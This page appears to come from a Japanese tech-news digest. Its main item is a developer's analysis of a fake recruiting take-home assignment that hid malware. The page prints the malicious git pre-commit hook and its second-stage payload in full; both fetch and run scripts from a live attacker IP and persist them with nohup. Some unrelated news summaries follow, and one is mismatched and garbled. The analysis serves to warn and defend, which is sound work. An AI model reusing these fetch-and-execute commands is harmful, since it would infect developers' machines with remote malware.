持ち帰りで実施した面接プロジェクトの監査を行った。それはまさに一大作戦だった。

2026/07/23 5:33

持ち帰りで実施した面接プロジェクトの監査を行った。それはまさに一大作戦だった。

RSS: https://news.ycombinator.com/rss

要約

Japanese Translation:

高度な詐欺が、Y Combinator を支援するスタートアップ(例:「Zavopay」)を装い、Python 開発者を標的としています。攻撃者は高給のリモート契約オファーで被害者を誘拐し、クローンされた GitHub リポジトリや

.git/hooks/pre-commit
スクリプト、
.vscode
フォルダ内のファイルといった隠された資産を通じて悪意のあるコードを配信します。開発者が履歴書を送付またはプロジェクトを開くことで(Git ハックのトリガーまたは VSCode の初期化を呼び出す)、被害者固有の識別子(例:
id=402
)に合わせて調整されたペイロードが、攻撃者の制御下にある IP アドレスから静かに実行されます。これらのペイロードは、クリプトジャッキングおよび/またはデータ流出を実行し、OS 固有の挙動を活用して背景で永続性を維持することがあります。この手口は標準の開発ワークフローを悪用しており、被害が発生するまで検出が困難です。攻撃者は汎用名または捏造された社名を再利用することで、遠隔採用に対する信頼を損なう偽りの正当性を与えています。開発者は、未承諾の高給オファーや直接的なアクセスリクエストには慎重に対処し、スクリプトを実行または IDE 内でフォルダを開く前にソースとリポジトリを検証する必要があることを強調しています。

本文

リクルーターからの求人情報「タスク(Take-home Assignment)」が即座にマルウェア配布サイトへ誘導される事例

事件の経緯

  • きっかけ:ハッカーニュースや LinkedIn で話題となった出来事。先週木曜日、Python Developer の求人紹介を目的としたリクルーターから直接 DM を受けたことである。
  • 最初の反応:給与提示(月給 $10,000〜$15,000)や「契約から採用」のような好条件に加え、面談前の早い段階での給与明細共有に対し、「新人のミスか」と警戒しつつも、興味を持っていた。
  • 決定要因:YC (Y Combinator) 系スタートアップだったため、厳格でない採用プロセスの可能性もあり、進めることにした。

課題(Take-home Assignment)の配布と初期検証

  • 配布内容:Google Drive を経由し、ZIP アーカイブと PDF 指示書が送られた。
  • 一見の印象
    SQLAlchemy
    FastAPI
    を用いた標準的なバックエンド構造に見え、初期のセキュリティ懸念(タイポスクワッティングやマルウェア)はなかった。
  • 発見プロセス
    • 著者自身の癖として、受け取ったフォルダには常に
      tree -a
      コマンドを実行して隠しディレクトリを調べていた。
    • この行動が実社会で「報われる」という意味で、潜在的な危険性を早期に察知した。

検出された Git フック(.git/hooks/pre-commit)

  • リポジトリ内に事前設定された
    pre-commit
    スクリプトが発見された。
  • 動作内容:ホスト OS を検出し、対応する OS ごとにマルウェアをダウンロードして実行する仕組みだった。
❯ cat .git/hooks/pre-commit
#!/bin/sh

case "$(uname -s)" in
  Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
  Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
  MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
  *)        curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
esac
  • 重大な欠陥
    • IP アドレスの使用
      lint-checker.com
      などのダミードメインではなく、生の IP アドレスを使用しており、「マルウェア」という明確なサインを出していた。

マルウェアの実行フローと深度

  • Linux ペイロードの動作
    1. 指定されたパラメータ(
      id=402
      )で二次的なペイロードをダウンロード。
    2. tokenlinux.npl
      を取得し、ファイル名を
      tokenlinux.sh
      に変更。
    3. chmod +x
      で実行権限を与え、
      nohup
      コマンドで背景プロセスとして常駐させる。
  • nohup
    の役割
    :端末閉鎖やログアウト後もプロセスが停止せず、裏側で動作し続けることを可能にする Linux/Unix ユーティリティである。

二次ペイロードの内容

❯ curl http://45.61.164.38:5777/task/linux?id=402
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0

攻撃者の目的と高度化された機能

  • Node.js のインストールと実行
    • parser.js
      package.json
      をダウンロード。
    • Node.js をシステムに静かに導入し、解析ツールを背景で起動。
  • 追跡システム(Tracking ID)
    • 各被害者に対してユニークな ID (
      id=402
      ) を割り当てることで、攻撃者は被害状況を個別に追跡・管理している。
  • Ethereum (Hardhat) の使用
    • package.json
      hardhat
      が含まれており、クリプトウォレットの探索や特定タスクの割り当て(PoW ではないが、トラッキング目的)が行われている疑いが強い。
  • 難読化されたコード
    • parser.js
      は重度に難読化されており、人間では解析不能だったが、LLM(Gemini)による分析が可能だった。

別の感染経路:VSCode の自動化

  • 一部のスクリプトでは、ZIP ファイル内に
    .vscode
    フォルダを含み、それを開くと自動的にランチャークマンズ(実行スクリプト)が起動する仕組みになっていた。
  • Git コマンドの実行すら不要で、単にプロジェクトを開くだけで感染する設計だった。

攻撃者の正体と元ソースの発見

  • Zavopay ではない:攻撃者は見せかけのためだけの企業名やリクルーター情報を無作為に使用していたことが判明した。
  • 元のリポジトリ
    • git log
      を確認すると、公開された無実のプロジェクトからスクリプトをコピーしているだけだった。
    • 元のプロジェクト:Bgogoi123/personal-finance-service
❯ git log
commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment)
Author: rhonda <womenofinspiration2016@gmail.com>
Date:   Mon Jun 29 22:04:17 2026 -0400

    add requirements

commit 8ae96928302a0757f2c7f85c46d801c97b91e
Merge: f64c289 d6cb1f2
Author: Bharati Gogoi <bgogoi055@gmail.com>
Date:   Mon Jun 29 21:23:43 2026 +0530

    Merge pull request #10 from Bgogoi123/feature/balance

    [feat][Service for Adjusting Balance]
...

サーバー側の OPSEC(運用セキュリティ)評価

  • 脆弱性確認:攻撃者の公開 IP に対し Nmap スキャンを実施。
  • 発見事項
    • オープンポート 3 つのうち、2 つはバージョン検知が不明。
    • ポート 22 (SSH) では OpenSSH 9.6p1 が稼働していた(CVE は利用不可能)。
  • 総合評価:サーバー自体の OPSEC はまあまあよかったが、マルウェア配布サイトの露出という点では著しく不適切だった。

教訓と推奨事項

  • 隠しディレクトリの確認:他人のコードを実行する前には、必ず
    tree -a
    や同様のコマンドで隠しファイルを調査する癖をつけるべきである。
  • Take-home Assignment の注意点:自宅での課題テスト(Take-home assignment)を提示される際は、セキュリティリスクに十分注意し、信頼できない環境での実行は避けるべきである。
  • マルウェアの報告:興味深いマルウェアサンプルを見つけた場合は、専門家に提供して共有することが重要だ。

注記:この事例は「自宅での課題テスト」を避けるよう警告されていますが、学習や分析目的で安全な環境下での調査のみをお勧めします。

同じ日のほかのニュース

一覧に戻る →

2026/07/23 2:30

ターレンス・オのチャートプとの対話:ヤコビアン仮定に対する反例について

## Japanese Translation: 该平台主要通过安全的登录提供个性化体验。经过身份验证后,用户将获得量身定制的响应而非通用回答,并可访问由其保存的聊天历史所告知的答案。关键功能包括直接在界面中创建自定义图像,以及上传外部文件以实现与工作流的无缝集成。通过将创意工具与基于记忆的个性化相结合,该平台将标准效用转化为自适应环境,从而简化任务,并在无需重复设置的情况下利用之前的互动。

2026/07/23 2:20

GigaToken:言語モデルのトークナイゼーション速度が約1,000倍高速化

## Japanese Translation: Gigatoken は、HuggingFace および tiktoken などの標準的なトークナイザーの超高速で即座に置き換え可能なものとして機能し、ネイティブ API を通じてデータ処理を革命化します。これは、マルチスレッド Rust プログラミング、SIMD 最適化、キャッシュ階層の改良、分岐の最小化といった高度なエンジニアリング技術によって達成された画期的成果です。ベンチマーク結果では、EPYC 9565 などの高エンド AMD プロセッサ上において、HuggingFace のトークナイザーよりもほぼ 989 倍、tiktoken よりも 681 倍以上の高速化が確認されています。 本ソフトウェアは、Llama 3/4、Qwen、Gemma、Phi-4、DeepSeek、GLM、Nemotron、Kimi K2、Mistral、CodeLlama などの主要な AI モデルをサポートします。スタンドアローン API(最も高速)および HuggingFace または Tiktoken を既存のワークフローで使用するための互換モード(わずかに低速)を備えています。本ツールは現在、Linux ベースのシステム上で AMD EPYC、Apple M シリーズ、または AMD Ryzen チップを使用する際に最適化されたバイト対ペア符号化を用いて最も効果的に動作し、Windows でのサポートは限られています。ユーザーには WSL の使用を推奨します。 今後の計画としては、Python インテグレーションの改良(現在は ABI3 を使用しており、これは内部 API よりもわずかに低速)およびさらなる最適化によるハードウェア互換性の拡大が含まれます。現在知られている制限事項には、API におけるファイルシンクの欠如と SentencePiece 最適化の制限があります。最終的に、Gigatoken は精度を損なうことなく、モデルトレーニングと推論を大幅に高速化するトークナイゼーション時間を劇的に削減することを約束します。研究用途については、@software{roed2026gigatoken...} として引用されるべきです。

2026/07/23 6:15

Malleable コンピューティング、Emacs、そしてあなた

## Japanese Translation: 著者は、大量導入向けのスケーラビリティよりも速度と簡潔さを優先する軽量のツール `fj` を使用し、Emacs 内で GitHub の Issue 管理を自動化することに成功した。このソリューションは複雑なローカルサーバーを避けるために既存の `gh` コマンドラインユーティリティを利用して認証を行い、UI 操作には Elisp パッケージ `Transient`、フォーマット変換には `ox-gfm` を統合することで、ユーザーがエディタから直接 Issue のメタデータをコピーし、Org モードでコメントを作成し、ブラウザウィンドウを開くことを可能にしている。これらすべての機能は JSON 解析ロジックで約 20 行以内で実装されている。「可変計算(malleable computing)」の原則に従い、Emacs を再起動することなしに迅速なプロトタイピングを可能にしている。2 時間半という初期開発フェーズとコードのリファクタリングを経て、最終製品は個人の利用に最適化された約 400 行の Lisp から構成されている。このアプローチは、伝統的な大衆向けソフトウェア("N")とは対照的に、最小限の計画で堅牢なツールを個人ニーズのために構築することは非常に実現可能であることを示している("1")。 ## Summary: 著者は、大量導入向けのスケーラビリティよりも速度と簡潔さを優先する軽量のツール `fj` を使用し、Emacs 内で GitHub の Issue 管理を自動化することに成功した。このソリューションは複雑なローカルサーバーを避けるために既存の `gh` コマンドラインユーティリティを利用して認証を行い、UI 操作には Elisp パッケージ `Transient`、フォーマット変換には `ox-gfm` を統合することで、ユーザーがエディタから直接 Issue のメタデータをコピーし、Org モードでコメントを作成し、ブラウザウィンドウを開くことを可能にしている。これらすべての機能は JSON 解析ロジックで約 20 行以内で実装されている。「可変計算(malleable computing)」の原則に従い、Emacs を再起動することなしに迅速なプロトタイピングを可能にしている。2 時間半という初期開発フェーズとコードのリファクタリングを経て、最終製品は個人の利用に最適化された約 400 行の Lisp から構成されている。このアプローチは、伝統的な大衆向けソフトウェア("N")とは対照的に、最小限の計画で堅牢なツールを個人ニーズのために構築することは非常に実現可能であることを示している("1")。